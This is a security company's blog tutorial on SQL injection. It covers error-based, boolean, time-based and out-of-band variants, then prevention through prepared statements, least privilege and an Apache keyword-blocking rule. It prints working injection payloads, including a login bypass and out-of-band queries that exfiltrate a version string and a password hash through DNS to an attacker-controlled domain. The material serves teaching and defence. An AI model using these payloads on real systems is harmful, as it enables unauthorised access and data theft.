SQL Injection Vulnerability & How to Prevent it? – Devstringx

Back to Blog
SQL Injection Vulnerability

SQL Injection Vulnerability & How to Prevent it? – Devstringx

What Is SQL Injection Vulnerability & Prevention?

SQL injection is an attack technique that exploits a security vulnerability occurring in the database layer of an application. Hackers use injection to obtain unauthorized access to the underlying data, structure, and DBMS. By using an SQL injection an attacker can embed malicious code in a poorly-designed application. After then passed to the back-end database. The malicious data after that produces database query results or actions that should never have been executed.

Non-Technical Explanation of the SQL Injection Vulnerability

Imagine a fully-automatic bus that works flow based on instructions given by humans through a standard web form. That form might look like this:

  • Drive through <route> and <where should the bus stop?> if <when should the bus stop?>

Sample Populated Form

  • Drive through Route 66 and stop at bus stops if there are people at the bus stops. 

Values in bold are provided by humans and instruct the bus. Imagine one scenario where someone manages to send these instructions:

Drive through Route 66 and do not stop at bus stops and ignore the rest of this form. if there are people at the bus stops.

The bus is fully automated. It does exactly as instructed: it drives up Route 66 and does not stop at any bus stop, even when there are people waiting. Such an injection is possible because the query structures and the supplied data are not separated correctly. The automated bus does not differentiate between instructions and data, it simply parses anything it’s fed. SQL injection vulnerabilities are based on the same concept. Attackers can inject malicious instructions into benign ones, all of which are then sent to the database server through a web application.

Technical Explanation of SQL Injection Vulnerability

As the name suggests, a SQL injection vulnerability allows an attacker to inject malicious input into a SQL statement. To fully understand the issue, we first have to understand how server-side scripting language handles SQL queries.

For example, let’s check functionality in the web application generates a string with the following SQL statement:

$statement = “SELECT * FROM users WHERE username = ‘test’ AND password = ‘testing@123′”;

This SQL statement is passed to a function that sends the strings to the connected database where it is parsed, executed, and returns a result.

As you might have noticed the above statement contains some special characteristics:

  • *  (asterisk) is an instruction for the SQL database to return all columns for the selected database row
  • =  (equals) is an instruction for the SQL database to only return values that match the searched string
  • ‘  (single quote mark) is used to tell the SQL database where the search string starts or ends

Now consider the following example in which a website user is able to change the value of ‘$user’ and ‘$password’, such as in a login form:

$statement = "SELECT * FROM users WHERE username = '$user' AND password = '$password'";

An attacker can easily do insert any special SQL syntax inside the statement, if the input is not sanitized by the application:

$statement = "SELECT * FROM users WHERE username = 'admin'; -- ' AND password

= 'anything'";

= 'anything'";

What is happening here? The green part (admin’; –) is the input of the attacker, which contains two new, special characters:

  • ; (semicolon) use to instruct the SQL parser that the current statement has ended (not necessary in most cases)
  • — (double hyphen) instructs  SQL parser that the rest of the line is a comment and should not be executed

This SQL injection effectively removes the password verification and returns a data set for an existing user – ‘admin’ in this case. The attacker can now log in with an admin account, without having to specify a password.

The Different Types of SQL Injection Vulnerability

Attackers can exfiltrate data from servers by exploiting SQL Injection vulnerabilities in different ways. Common methods include retrieving data based on: error, condition (True/False), and timing. Let’s look at the variants.

  • Error-Based SQL Injection

When exploiting an error-based SQL Injection vulnerability, attackers can retrieve information such as table names and content from a visible database error.

  • Error-Based SQL Injection Example

https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

This Request Returned an Error

Duplicate entry ‘database1’ for key ‘group_key’

The same method works for table names and content. Disabling error messages on production systems help to prevent attackers from gathering such information.

  • Boolean-Based SQL Injection

Sometimes there is no visible error message on the page when an SQL query fails during execution, making it difficult for an attacker to get information from the vulnerable applications. However, there is still a  way to explore information.

When SQL query fails, sometimes some parts of the web page disappear or change, or the entire website can fail to load. These indications allow an attacker to determine whether the input parameter is vulnerable and whether it allows the extraction of data.

An attacker can test for this by inserting a condition into an SQL query:

https://example.com/index.php?id=1+AND+1=1

If the page load, as usual, it might indicate that it is vulnerable to an SQL Injection. To be sure, an attacker typically tries to provoke a wrong result using something like this:

https://example.com/index.php?id=1+AND+1=2

Since the condition is wrong, if no result is returned or the page does not work as usual (missing text or a white page is displayed, for example), it might indicate that the page is vulnerable to SQL injections.

Here is an example of how to extract data in this way:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',true,false)

With this URL request, the page should load as usual if the database version is 5.X. But, it will behave differently (display an empty page, for example) if the version is different, indicating whether it is vulnerable to an SQL injection.

  • Time-Based SQL Injection

In some scenarios, even though a vulnerable SQL statement does not have any visible effect on the output of the page. It might be possible to extract information from an underlying database.

Hackers determine by instructing the database to wait a stated amount of time before responding. If the targeted page is not vulnerable. It will load fast; if it is vulnerable it will take longer than usual to load. This enables attackers to extract the data, even though there are no visible changes on the page. The SQL syntax might be similar to the one used in the Boolean-Based SQL Injection Vulnerability.

But to set a measurable wait time, the ‘true’ function change to something that takes some time to execute, such as wait (3)’ which instructs the database to wait for three seconds:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)

If the page takes longer than usual to load it is safe to assume that the database version is 5. X.

  • Out-of-Band SQL Injection Vulnerability:

Sometimes the only way an attacker can retrieve information from the database is to use out-of-band techniques. Generally, such types of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers might use this method if an injection does not occur directly after supplied data is inserted, but at a later point in time.

Out-of-Band Example

https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))

https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')

In these types of requests, the target makes a DNS request to the attacker-owned domain, with the query result inside the subdomain. That means that the attacker does not need to see the result of the injection but can wait until the database server sent a request instead.

Recommended to Read:- HTML Code Injection Tutorial : Attack, Prevention, Example

Impacts of SQL Injection Vulnerability

There are a number of things an attacker can do when exploiting a SQL injection on vulnerable websites. Usually, it depends on the privileges of the user the web-based application uses to connect to the database server. By exploiting an SQL injection vulnerability, an attacker can do:

  • Add, delete, edit, or read content in the databases
  • Read source codes from files on the database server
  • Write files to the database servers

It all depends on the capabilities of the attackers. But the exploitation of a SQL injection vulnerability can even lead to a complete takeover of the database and web server. A good way to prevent damage is to restrict access as much as possible (for example, do not connect to the database using the sa or root account). It is also sensible to have different databases for different purposes (for example, separating the database for the shop system and the support forum of your website).

How to Prevent SQL Injection Vulnerabilities?

Server-side scripting languages are not able to determine whether the SQL query string is malformed. All they can do is send a string to the database server and wait for the interpreted responses.

Surely, there must be a way to simply sanitize users’ input and ensure SQL injections are infeasible.  Unfortunately, that is not always the case. There might be many numbers of ways to sanitize user input, from globally applying PHP’s addslashes() to everything (which may yield undesirable results), all the way down to applying the sanitization to “clean” variables at the same time of assembling the SQL query itself, such as wrapping the above $_GET[‘id’] in PHP’s mysql_escape_string() function.

However, when applying to sanitization the query itself is a very poor coding practice and difficult to maintain or keep track of. It is where database systems have employed the use of prepared statements.

Using Prepared Statements as SQL Injection Prevention

When you think about prepared statements, think of how printf works and how it formats strings.  Literally, you assemble your string with placeholders for the data to insert and apply the data in the same sequence as placeholders.  SQL prepared a statement to operate on with a very similar concept. Where instead of directly assembling our query string and executing it, you store a prepared statement, feed it with the data, and assemble and sanitize it for you upon execution.  Great! Now there should not be any other SQL injection again.

So why, then, is SQL injection attacks still constantly one of the biggest and most prevalent attack methods?

Insecure SQL Queries are a Problem. Simply put, it may boil down to web application developer laziness and lack of education and awareness. Insecure SQL queries are so extremely easy to create, and secure SQL queries are still mildly complex (or at least more complex than generic and typical in-line and often insecure queries).  In the above example, a malicious hacker can inject anything he or she desires in the same line as the SQL query itself.

Example and Explanation of SQL Prepared Statements:

However, with prepared statements, there are multiple steps. No major database system operates like printf. MySQL directly requires at least two commands which are PREPARE and EXECUTE.  PHP, via the PDO library, also requires similar stacking approaches, such as the following:

$stmt = $dbh->prepare("SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?");

$stmt->execute(array($username, $password));

At first glance, this is not inherently problematic. On average, this increases each SQL query by only an extra one line or two lines.  However, it requires extra caution and effort on behalf of already tired and taxed developers. Oftentimes they may get a little lazy and cut corners, opting instead to just use the easy procedural mysql_query() as opposed to more advanced object-oriented PDO preparation ().

Besides this many developers just stick with what they know to get the job done. They generally learn the easiest and most straightforward way to execute the SQL queries rather than showing genuine interest in improving what they know exactly. But this may also be an issue of lack of awareness.

Non-Development Related SQL Injection Protection

Running Updated Software First and foremost in your system, always make sure you are running the most up-to-date software you can.  If you are using WordPress or any other CMS framework, keep it updated to use. The same goes for PHP, your web servers software such as Apache and Nginx, and your database server (MySQL, Postgres, or others).  The more recent versions of your software the less chance of having a vulnerability, or at least a widely-known one. It also extends down to our other software as well, such as SSH, OpenSSL, Postfix, and even the operating system itself.

Block URLs at Web Server Next Level, you should employ methods to ensure you are as minimum vulnerable to potential SQL injection attacks as possible.  You may go for a quick and easy match against common SQL query keywords in URLs and just simply block them. For example, if you run Apache as your web server. You could use the following two mod_rewrite lines in your VirtualHost directive, as explained below:

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]

RewriteRule (.*) - [F]

It is indeed quite clever, but it does not protect against everything. The SQL injection parameters can still pass via POST value or other RESTful-type URLs, not to mention there are different ways.

Good to Read- Penetration Testing and Its Types

The Truth About SQL Injection Web Vulnerability

Even though we provided examples of how to prevent the exploitation of SQL Injection vulnerabilities, there is no magic wand.

However, PHP is attempting a new, aggressive approach. Since PHP 5.5, procedural MySQL has been deprecated and will be soon removed entirely. It means that in future software projects need to switch to either MySQLi or PDO MySQL in order to continue to work. It is a positive development since it forces developers into a system that handles prepared statements with relative ease – though it still requires stacking a few operations. However, some developers adopt a ‘code golf’ style. Most of the unfortunately will still choose a single-line simple query over two-line prepared statements.

There are some options it can account for development shortcomings, including but not limited to: privilege limitations, data separation, web application firewalls, and many other approaches. But still, these options employ as consistently as SQL injection attacks. This may never be the case that injection-style attacks escape OWASP’s Top 10 list. Be the final changes that need to ensure data and web application security, and keep your databases safe from SQL injections through our Security Testing services.

FAQs

  • Which tool is used for SQL injection?

SQLmap. Among all of the existing SQL injection tools, SQLMap is the most widely used and is available as open-source software. Using this tool, it is simple to use a web application’s SQL injection vulnerability to gain control of the database server.

  • What are the types of SQL injection?

several SQL injection types. In-band SQL injections (Classic), inferential SQL injections (Blind), and out-of-band SQL injections are the three main types of SQL injections. Based on how they access the backend data and how much damage they can do. Different types of SQL injections can categorize.

  • What is SQL injection used for?

SQL injection is a sneaky technique for using databases to cause trouble. It’s a technique where cunning people insert malicious SQL code into a web application’s database query with the intention of manipulating or extracting data they shouldn’t have access to. It’s like a sneaky conductor of a symphony sneaking in unplanned notes to sabotage the smooth flow of your application.

  • What types of databases are more vulnerable to SQL injections?

While all databases have the potential to be vulnerable to SQL injection, some have a more pronounced propensity for susceptibility. In the past, prominent databases like MySQL, Oracle, and Microsoft SQL Server’s older releases have historically been more vulnerable to SQL injection’s cunning tricks. But you can defend your application against these malicious assaults with the correct security measures and a symphony of defensive coding techniques.

Share this post

Back to Blog